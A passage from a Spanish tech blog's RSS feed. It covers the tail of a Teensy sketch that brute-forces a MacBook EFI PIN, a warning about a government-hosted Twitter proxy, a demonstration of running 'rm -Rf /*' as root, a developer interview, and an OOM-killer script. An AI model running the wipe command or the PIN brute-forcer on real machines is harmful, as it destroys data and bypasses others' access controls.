    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;fakecounter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La versión actualizada de este sketch para Teensyduio siempre estará en &lt;a class="reference external" href="https://github.com/orvtech/efi-bruteforce"&gt;https://github.com/orvtech/efi-bruteforce&lt;/a&gt; Yo voy a tratar de mantener también esta pagina al día.&lt;/p&gt;
&lt;p&gt;Siéntanse libres de clonarlo, hacer forks y contribuir.&lt;/p&gt;
&lt;p&gt;Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo
y comenzar el ataque de nuevo, de esto no ser posible me gustaría
escuchar sugerencias de como probarlo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;- Martes 12 de Marzo:&lt;/strong&gt; Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en &lt;cite&gt;este post de MacRumors&lt;/cite&gt;:&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://forums.macrumors.com/showpost.php?p=16981928&amp;amp;postcount=248"&gt;&lt;img alt="Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto" class="align-center" src="http://orvtech.info/2013/02/macrumors-screenshot.gif" style="width: 644.7px; height: 405.3px;" /&gt;&lt;/a&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sat, 23 Feb 2013 03:33:00 -0800</pubDate><guid>tag:orvtech.com,2013-02-23:atacar-efi-pin-macbook-pro.html</guid><category>Arduino</category><category>Embebido</category><category>hacking</category><category>Linux</category><category>OSX</category><category>Proyecto Fedora</category><category>Teensy</category><category>Videos</category></item><item><title>¿Que planea el gobierno venezolano para estas elecciones al montar un proxy de Twitter?</title><link>http://orvtech.com/gobierno-venezolano-elecciones-proxy-twitter.html</link><description>&lt;p&gt;El gobierno venezolano se prepara para elecciones regionales con un proxy de Twitter que se presta para ataques de phishing. ¿Que planean al montar un proxy de Twitter?&lt;/p&gt;
&lt;p&gt;Como muchos recordaran durante las pasadas elecciones presidenciales de Venezuela parte de la población tuvo problemas para resolver dominios momentáneamente. El usuario final por lo general lo resolvia reiniciando su computadora, simultáneamente muchos sitios que eran favorecidos por opositores sufrieron ataques de DDoS.&lt;/p&gt;
&lt;p&gt;Este año con la penetración de las redes sociales y el uso que la comunidad estudiantil de Venezuela le han dado para hacer llegar su mensaje y denuncia de injusticias; el Gobierno Venezolano prepara de nuevo una arremetida.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="repetir-como-loritos"&gt;
&lt;h2&gt;Repetir como loritos&lt;/h2&gt;
&lt;p&gt;Como todos saben el candidato presidencial y actual presidente de la república usa el twitter handle &amp;#64;chavezcandanga el cual es controlado por lo que asumo es su comité de P.R.&lt;/p&gt;
&lt;p&gt;Este mismo grupo tiene una aplicación compatible con twitter que convierte a cada uno de quienes la usen en robotos (bots) que retuitearan lo que el publique automáticamente. Esto sin contar que cerca del 46% de los seguidores de &amp;#64;chavezcandanga son usuarios que solo tienen un tweet o menos, tienen un seguidor o menos cosa que para mi, los convierte en cuentas falsa y bots.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2012/09/chavezcandanga-web.jpg"&gt;&lt;img alt="aplicación RTChavezCandanga alojada en servidores del estado Venezolano para manipular tendencias y generar matrices de opinion." class="align-center" src="http://orvtech.info/2012/09/chavezcandanga-web.jpg" style="width: 725.76px;" /&gt;&lt;/a&gt;
&lt;p&gt;Para que no quede duda de quien esta detrás de este proxy vamos a consultar la base de datos de registro de dominios la cual la mantiene el mismo estado venezolano.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2012/09/who-is-chavezcandanga-com.jpg"&gt;&lt;img alt="Pruebas de que es el PSUV el responsable de el dominio detras de todo esto." class="align-center" src="http://orvtech.info/2012/09/who-is-chavezcandanga-com.jpg" style="width: 713.6px;" /&gt;&lt;/a&gt;
&lt;p&gt;Por lo pronto queda claro que es el PSUV (Partido Socialista Unido de Venezuela) el responsable financiero, técnico y administrativo de el dominio detrás de todo esto.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="la-estocada-que-se-prepara"&gt;
&lt;h2&gt;La estocada que se prepara&lt;/h2&gt;
&lt;p&gt;Lo que me preocupa este momento es que la misma dirección IP que alojael subdominio &lt;a class="reference external" href="http://mensajes.chavezcandanga.org.ve/"&gt;http://mensajes.chavezcandanga.org.ve/&lt;/a&gt; también aloja un proxy a twitter que hasta ahora no contiene código malicioso (que yo vea). Pero no quiere decir que esto vaya a cambiar días antes de las elecciones o durante.&lt;/p&gt;
&lt;p&gt;En estos momentos pueden verlo por ustedes mismos pero en caso de que CONATEL (ente que controla esta IP) tumbe el proxy, la pagina que distribuye la aplicación para enviar enviar spam en twitter y quien sabe que mas, aquí les dejo unas capturas de pantalla.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2012/09/Screen-shot-2012-09-12-at-3.22.41-PM.png"&gt;&lt;img alt="Proxy a twitter alojado en servidores del gobierno del estado Venezolano" class="align-center" src="http://orvtech.info/2012/09/Screen-shot-2012-09-12-at-3.22.41-PM.png" style="width: 723.24px;" /&gt;&lt;/a&gt;
&lt;p&gt;Como ven la IP en cuestion es &lt;tt class="docutils literal"&gt;190.202.80.20&lt;/tt&gt; y que difieren de las IPs de twitter como pueden ver:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;host twitter.com | grep address
twitter.com has address 199.59.149.230
twitter.com has address 199.59.150.39
twitter.com has address 199.59.148.82
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Investigando un poco mas a fondo podemos ver que de hecho la IP que aloja este proxy a twitter de hecho apunta a otro dominio:&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.info/2012/09/son-ips-distintas.jpg"&gt;&lt;img alt="Proxy a twitter alojado en servidores del gobierno del estado Venezolano" class="align-center" src="http://orvtech.info/2012/09/son-ips-distintas.jpg" style="width: 658.9px;" /&gt;&lt;/a&gt;
&lt;p&gt;Para los que se están preguntando la fuente de esta noticia o como me entere, al parecer un seguidor de un contacto en twitter fue el que dio
con esta &amp;quot;coincidencia&amp;quot; como pueden ver en este tweet:&lt;/p&gt;
&lt;blockquote class="twitter-tweet" lang="es"&gt;&lt;p&gt;&lt;a href="https://twitter.com/orvtech"&gt;@orvtech&lt;/a&gt; &lt;a href="https://twitter.com/alexval"&gt;@alexval&lt;/a&gt; llegue por una busqueda en google vi la ip y me parecio extraña luego hice un whois de la ip y me di cuenta de lo otro&lt;/p&gt;&amp;mdash; Javier Moreno (@MorenoVJavier) &lt;a href="https://twitter.com/MorenoVJavier/statuses/245257899755069441"&gt;September 10, 2012&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="//platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="update-diciembre-15-2012"&gt;
&lt;h2&gt;Update: Diciembre 15, 2012&lt;/h2&gt;
&lt;p&gt;Aun &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;http://190.202.80.20&lt;/span&gt;&lt;/tt&gt; apunta a un proxy de Twitter aunque sigue sin código malicioso deben estar pendientes para las elecciones
regionales en Venezuela a celebrarse el Domingo 16. Recomiendo que sigan
atentos a los certificados SSL y eviten usar sus credenciales si
&amp;quot;misteriosamente&amp;quot; Twitter.com se las pide y la URL no tiene el prefijo
HTTPS.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 12 Sep 2012 16:06:00 -0700</pubDate><guid>tag:orvtech.com,2012-09-12:gobierno-venezolano-elecciones-proxy-twitter.html</guid><category>Hacks</category><category>proxy</category><category>Twitter</category><category>Venezuela</category></item><item><title>¿Que sucede cuando ejecutamos rm -Rf /* ?</title><link>http://orvtech.com/que-sucede-cuando-ejecutamos-rm-rf.html</link><description>&lt;p&gt;Se que a muchos les da curiosidad ver que sucede cuando intentamos
eliminar de forma recursiva todos los archivos y directorios del
directorio raíz de nuestro sistema así que aproveche de hacer un video
precisamente ejecutando &lt;tt class="docutils literal"&gt;rm &lt;span class="pre"&gt;-Rf&lt;/span&gt; /*&lt;/tt&gt; como root. Aquí pueden ver el video:&lt;/p&gt;
&lt;iframe width="720" height="540" src="//www.youtube.com/embed/cTXWQriVgH8" frameborder="0" allowfullscreen&gt;
&lt;/iframe&gt;&lt;p&gt;Como ven las consecuencias son visibles tan pronto empezamos a ejecutar
este comando y si se fijaron hay directorios que no son eliminados.&lt;/p&gt;
&lt;p&gt;Estos directorios como es el caso de &lt;tt class="docutils literal"&gt;/proc&lt;/tt&gt; residen en memoria y no pueden ser eliminados mientras que otros como &lt;tt class="docutils literal"&gt;/var&lt;/tt&gt; contienen directorios que a su vez residen en memoria con es el caso de &lt;tt class="docutils literal"&gt;/var/tmp&lt;/tt&gt; en mi instalación de Fedora.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="post-analisis-luego-del-rm-rf"&gt;
&lt;h2&gt;Post-análisis luego del rm -Rf /&lt;/h2&gt;
&lt;p&gt;En vista de que me han preguntado varias veces y muchos han especulado sin realmente tener pruebas me decidi a averiguar en que estado quedaba el sistema operativo. ¿Que archivos y directorios sobrevivieron?&lt;/p&gt;
&lt;p&gt;Para responder esto simplemente monte el disco duro viejo en otra instalación de linux y ejecute &lt;tt class="docutils literal"&gt;find /mnt/oldhdd &lt;span class="pre"&gt;-type&lt;/span&gt;&lt;/tt&gt; lo que arrojo como resultado:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;/mnt/oldhdd/
/mnt/oldhdd/sys
/mnt/oldhdd/dev
/mnt/oldhdd/var
/mnt/oldhdd/var/tmp
/mnt/oldhdd/run
/mnt/oldhdd/run/libgpod
/mnt/oldhdd/run/faillock
/mnt/oldhdd/run/setroubleshoot
/mnt/oldhdd/run/openvpn
/mnt/oldhdd/run/plymouth
/mnt/oldhdd/run/wpa_supplicant
/mnt/oldhdd/run/netreport
/mnt/oldhdd/run/mdadm
/mnt/oldhdd/run/cups
/mnt/oldhdd/run/cups/certs
/mnt/oldhdd/run/spice-vdagentd
/mnt/oldhdd/run/sepermit
/mnt/oldhdd/run/abrt
/mnt/oldhdd/run/console
/mnt/oldhdd/run/vpnc
/mnt/oldhdd/run/ppp
/mnt/oldhdd/run/blkid
/mnt/oldhdd/run/setrans
/mnt/oldhdd/run/utmp
/mnt/oldhdd/run/net-snmp
/mnt/oldhdd/run/lock
/mnt/oldhdd/run/lock/dmraid
/mnt/oldhdd/run/lock/lockdev
/mnt/oldhdd/run/lock/ppp
/mnt/oldhdd/run/NetworkManager
/mnt/oldhdd/run/saslauthd
/mnt/oldhdd/run/gdm
/mnt/oldhdd/run/gdm/greeter
/mnt/oldhdd/run/pptp
/mnt/oldhdd/proc
/mnt/oldhdd/boot
/mnt/oldhdd/media
/mnt/oldhdd/tmp
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como ven a excepción de /mnt/oldhdd/run/utmp todos son directorios.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sat, 18 Aug 2012 03:34:00 -0700</pubDate><guid>tag:orvtech.com,2012-08-18:que-sucede-cuando-ejecutamos-rm-rf.html</guid><category>Linux</category><category>Proyecto Fedora</category><category>tips</category><category>Videos</category></item><item><title>Entrevista con Wil Alvarez de Turpial</title><link>http://orvtech.com/entrevista-wil-alvarez-turpial.html</link><description>&lt;p&gt;El fin de semana pasado tuve la oportunidad de entrevistar al líder del proyecto Turpial, Wil Alvarez. Las preguntas variaron entre personales y especificas sobre el popular cliente para identi.ca y Twitter.&lt;/p&gt;
&lt;p&gt;Me pareció apropiado hacerle seguimiento a algunas reacciones que obtuve de compartir el &lt;a class="reference external" href="http://orvtech.com/turpial-cliente-para-redes-sociales-versatil.html"&gt;vídeo tutorial de Turpial&lt;/a&gt; que hice hace poco. En su mayoría fueron positivas pero algunas mostraron cierto descontento con detalles del proyecto. Cuando hice énfasis en que es software Venezolano, la respuesta fue &amp;quot;El único venezolano allí es Wil&amp;quot; y la que mas se repitió era algo así como &amp;quot;Si fuese venezolano, su pagina estaría en castellano&amp;quot;.&lt;/p&gt;
&lt;p&gt;Esta primera serie de preguntas y respuestas son especificamente de Turpial como tal.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Hace cuanto que fue creado Turpial o de donde viene Turpial?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Turpial nace aproximadamente en noviembre de 2008. En octubre, por
recomendación de Eleazar Meza (&amp;#64;elshaka), abrí mi cuenta de Twitter
y estuve usando varios clientes para Linux de la época. Probé
Mutter, Gwibber, DestroyTwitter y otros, pero ninguno cubría mis
expectativas.&lt;/p&gt;
&lt;p&gt;Para ese entonces Gwibber y Mutter carecían de muchas
funcionalidades o de una interfaz simple y si bien DestroyTwitter
era una de las mejores opciones, no era libre y eso me generaba
cierta incomodidad. Decidí entonces desarrollar un cliente de
Twitter para mi uso personal con los conocimientos de Python y Gtk
que tenía actualmente. Así fue como nació el proyecto.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;La gente se queja de que hay mas material en ingles que en español, entiendo que es para usar un idioma &amp;quot;universal&amp;quot;. ¿Que le dirías a esa gente que se queja y como pueden colaborar a traducir?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Azrael (&amp;#64;AzraelCcs) redactó un artículo genial sobre este tema (en
inglés) con una explicación muy acertada y varios puntos que valen
la pena resaltar, así que tomaré la idea principal de su texto para
responder a tu pregunta.&lt;/p&gt;
&lt;p&gt;Turpial cada día crece más y para nosotros es importante ayudarlo a
seguir creciendo y conquistando nuevos horizontes. Les guste o no,
el inglés es un idioma común, tanto en ámbitos de programación como
para la interacción de muchos pueblos. No podemos tener una mente
tan cerrada como para pensar que el único idioma que se habla es el
español ni mucho menos pretender imponer el idioma español como base
para la aplicación porque, repito: les guste o no, el inglés es el
idioma más hablado fuera de nuestras fronteras.&lt;/p&gt;
&lt;p&gt;Gracias a la decisión que tomamos de pasar toda la plataforma a
inglés logramos captar a nuestro gran amigo Andrea Stagi
(&amp;#64;4ndreaSt4gi) que ha estado trabajando fuertemente con nosotros en
el código de Turpial y muchas otras colaboraciones, donaciones e
incluso noticias y artículos en blogs de todo el mundo.&lt;/p&gt;
&lt;p&gt;Podemos asegurarle a la comunidad lo siguiente:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;No nos estamos vendiendo a una corporación maligna del imperio que usará Turpial como herramienta para subyugar a los pueblos oprimidos.&lt;/li&gt;
&lt;li&gt;No estamos dejando de dar soporte en español.&lt;/li&gt;
&lt;li&gt;Vamos a seguir mejorando Turpial en español, inglés, portugués, chino, alemán y en todos los idiomas que podamos (con la ayuda de la comunidad).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pueden revisar el Timeline de Turpial y se darán cuenta que
respondemos preguntas en ambos idiomas pero nuestra plataforma está
y seguirá estando en inglés porque en este momento somos pocas
personas aportando al código de Turpial y humanamente el tiempo no
nos alcanza para también traducir y mantener la plataforma.&lt;/p&gt;
&lt;p&gt;Estamos completamente abiertos a recibir colaboraciones para
traducir la plataforma, en ningún momento nos hemos cerrado a esa
posibilidad, simplemente no nos alcanza el tiempo. Nuestra amiga
Nathalie Colina (&amp;#64;Art3mis4) estuvo con ganas de aportar en esto de
las traducciones, si están interesados pueden contactarla y tratar
de coordinar para que empiecen cuando quieran.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Veremos Turpial en otras plataformas como moviles incluso en otros sistemas operativos? y de ser así, seguirá siendo libre?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Por supuesto. Estamos trabajando para que la versión 2 esté
disponible para Windows y para Mac. Luego tenemos planes de portar
Turpial 3 para Android, iPhone e incluso Chrome (y Firefox, ¿por qué
no?).&lt;/p&gt;
&lt;p&gt;Turpial es y seguirá siendo libre. Esa es nuestra consigna y es
parte del &lt;a class="reference external" href="http://wiki.turpial.org.ve/zenofturpial"&gt;Zen de Turpial&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Se extenderá Turpial a otras redes sociales como el chat de Facebook, IRC o algo de ese estilo?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Por los momentos el único soporte oficial que tenemos es para
Twitter e Identi.ca. Sin embargo, estuvimos en conversaciones con
César Cotiz para incluir soporte oficial a Plaxed y estamos
analizando el soporte para Status.net. Estas dos redes muy
probablemente estarán en versiones futuras.&lt;/p&gt;
&lt;p&gt;Para el resto de redes sociales estaremos intentando habilitar un
sistema de plugins que permita extender la aplicación, pero por
nuestra parte no tenemos intenciones de agrandar más el core de
Turpial.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Cual es la funcionalidades de Turpial que la gente menosprecia mas o que la mayoría desconoce?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
La característica que la gente más denigra es la interfaz gráfica,
sobre todo la imposibilidad de hacer clic directamente en los
enlaces, hashtags o perfiles. Lamentablemente Gtk tiene sus
limitaciones y tuvimos que ajustarnos a ellas, es por eso que
Turpial 2.0 fue pensado con base en Webkit y así hemos venido
trabajando. El cambio en apariencia es simplemente enorme.&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Cuantas personas trabajan en este proyecto, esas que tu considerarias &amp;quot;Core contributors&amp;quot;?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
Actualmente tres: Carlos Guerrero (&amp;#64;guerrerocarlos), Andrea Stagi (&amp;#64;4ndreaSt4gi) y yo (&amp;#64;satanas82).&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Como pudieran identi.ca y twitter colaborar con Turpial?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
Es una pregunta bastante difícil, creo que la mejor forma de
colaborar con Turpial (y con cualquier cliente de terceras partes)
es tratando de mantener una API estable a lo largo del tiempo y
minimizando los controles o reglas que establecen para los terceros.&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Aprovechando un la oportunidad aproveche de hacerle unas preguntas un poco mas personales y ya dejando a Turpial de lado, aquí les dejo esta segunda parte de la entrevista a Wil Alvarez.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿A que edad y como aprendiste a programar?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
Empecé a los 18 años. Mi sueño siempre fue hacer juegos de
computadoras y por eso aprendí. En una época desarrollé unos cuantos
juegos usando Pygame pero aún no siento mi sueño realizado.&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Que es lo que mas te consume tiempo de Turpial, esas tareas que quisieras delegar?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
Principalmente las que yo llamo &amp;quot;tareas administrativas o de
relaciones públicas&amp;quot;. Todo lo que es responder correos, atender
consultas, escribir noticias, artículos de la wiki; son cosas que me
gusta hacerla, sobre todo responder correos, pero el tiempo no me da
para todas. Me gusta responder a los usuarios porque de esa forma se
rompe un poco esa barrera entre el usuario y el programador, le
demuestro a la gente que estamos a la distancia de un correo, que
los escuchamos y que realmente nos interesa y nos nutren sus
opiniones.&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Trabajas en otros proyectos que nos puedas comentar un poco?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
En estos momentos mi empleo me está consumiendo gran parte del
tiempo así que no he podido dedicarme a otras cosas. Tengo
pendientes un par de proyectos y algunos juegos (sobre todo cosas
tipo frameworks) para generar aplicaciones pero todo eso está en
stand-by.&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;¿identi.ca o Twitter?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
Twitter.&lt;/blockquote&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;¿Entiendo que actualmente estas en Argentina, como ves la movida del software libre y la comunidad por alla?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
Bueno, estuve en Argentina hasta hace una semana (ahora estoy en
Chile) pero la movida del SL es muy interesante, la comunidad de
Python de Argentina es una de las más activas que he podido conocer
y tiene un montón de desarrolladores de gran nivel (o &amp;quot;grosos&amp;quot;, como
dirían allá). También tienen una comunidad de Mozilla bastante
activa y pues, el SL se mueve un montón allá.&lt;/blockquote&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 08 Aug 2012 20:45:00 -0700</pubDate><guid>tag:orvtech.com,2012-08-08:entrevista-wil-alvarez-turpial.html</guid><category>Entrevista</category><category>identi.ca</category><category>Linux</category><category>Proyecto Fedora</category><category>Twitter</category><category>Venezuela</category></item><item><title>Script para ponerle orden a las masacres de OOM Killer</title><link>http://orvtech.com/script-orden-masacres-oom-killer.html</link><description>&lt;p&gt;En estos días me toco recuperar mi VPS vía consola remota, al revisar el /var/log/messages me di cuenta de el Out of Memory Killer (OOM Killer)
había hecho de las suyas al quedarse sin memoria. Luego de analizar detenidamente los logs y me di cuenta que fue una combinación de
factores, Google, Yahoo y Yandex me estaban indexando tanto este blog
como unos foros de autos que alojo en este servidor al mismo tiempo.&lt;/p&gt;
&lt;p&gt;El script para descargar torrents estaba corriendo al igual que el torrent tracker y alguien me estaba haciendo flood vía IRC en freenode puede
había dejado irssi conectado.&lt;/p&gt;
&lt;p&gt;El OOM Killer tiene un algoritmo que decide que procesos son los mejores para aniquilar sin embargo es posible manipular estos valores y
dejarle saber al OOM Killer que procesos prefieres que mate primero.
Para automatizar esta tarea hice un script que nos ayudara con esta
tarea:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;for &lt;/span&gt;programas in SCREEN irssi top
  &lt;span class="k"&gt;do for &lt;/span&gt;pid_of_oomk_candidate in &lt;span class="sb"&gt;`&lt;/span&gt;pidof -x &lt;span class="nv"&gt;$programas&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
    &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;10 &amp;gt; /proc/&lt;span class="nv"&gt;$pid_of_oomk_candidate&lt;/span&gt;/oom_adj
    &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="k"&gt; done&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como ven el script anterior agrega 10 al &lt;em&gt;OOMK score&lt;/em&gt; a los procesos que menos me interesan permanezcan vivos cuando me quede sin memoria
mientras que el siguiente hará exactamente lo contrario, mantendrá vivo
un poco mas estos procesos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;for &lt;/span&gt;programas in mysqld portsentry iptables
  &lt;span class="k"&gt;do for &lt;/span&gt;pid_of_oomk_candidate in &lt;span class="sb"&gt;`&lt;/span&gt;pidof -x &lt;span class="nv"&gt;$programas&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
    &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -5 &amp;gt; /proc/&lt;span class="nv"&gt;$pid_of_oomk_candidate&lt;/span&gt;/oom_adj
  &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; -17 &amp;gt; /proc/&lt;span class="sb"&gt;`&lt;/span&gt;pidof -s sshd&lt;span class="sb"&gt;`&lt;/span&gt;/oom_adj
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En este ultimo mysql portsentry y iptables tendrán cinco puntos de ventaja en relación con el resto de los candidatos y si se fijan en la
ultima linea estamos asegurándonos que sshd no sea candidato bajo
ninguna circunstancia.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="automatizar-el-ajuste-del-score-para-el-oom-killer"&gt;
&lt;h2&gt;Automatizar el ajuste del score para el OOM Killer&lt;/h2&gt;
&lt;p&gt;Ahora unifiquemos estos dos scripts y demosle un poco mas de
flexibilidad, estoy seguro que hay gente que prefiere asignarle a irssi
un valor distinto de screen. Lo primero que necesitaremos es un script
de configuración, vamos crearlo en &lt;em&gt;/etc/candidatos_oomk.conf&lt;/em&gt; y el
contenido se debería de ver algo así:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;# Programas que queremos sacrificar, entre mas alto el valor&lt;/span&gt;
&lt;span class="c"&gt;# mas peso tienen en la lista de candidatos.&lt;/span&gt;
irssi 4
SCREEN 3
smtpd 2
apache2 1

&lt;span class="c"&gt;# Programas que queremos salvar, estos tendrán valores negativos&lt;/span&gt;
portsentry -2
mysqld -5
sshd -17
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El script al que le puse de nombre &lt;em&gt;oomk_adj_candidatos.sh&lt;/em&gt; se veria algo asi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;CONFIGURACION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/etc/candidatos_oomk.conf&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;programas
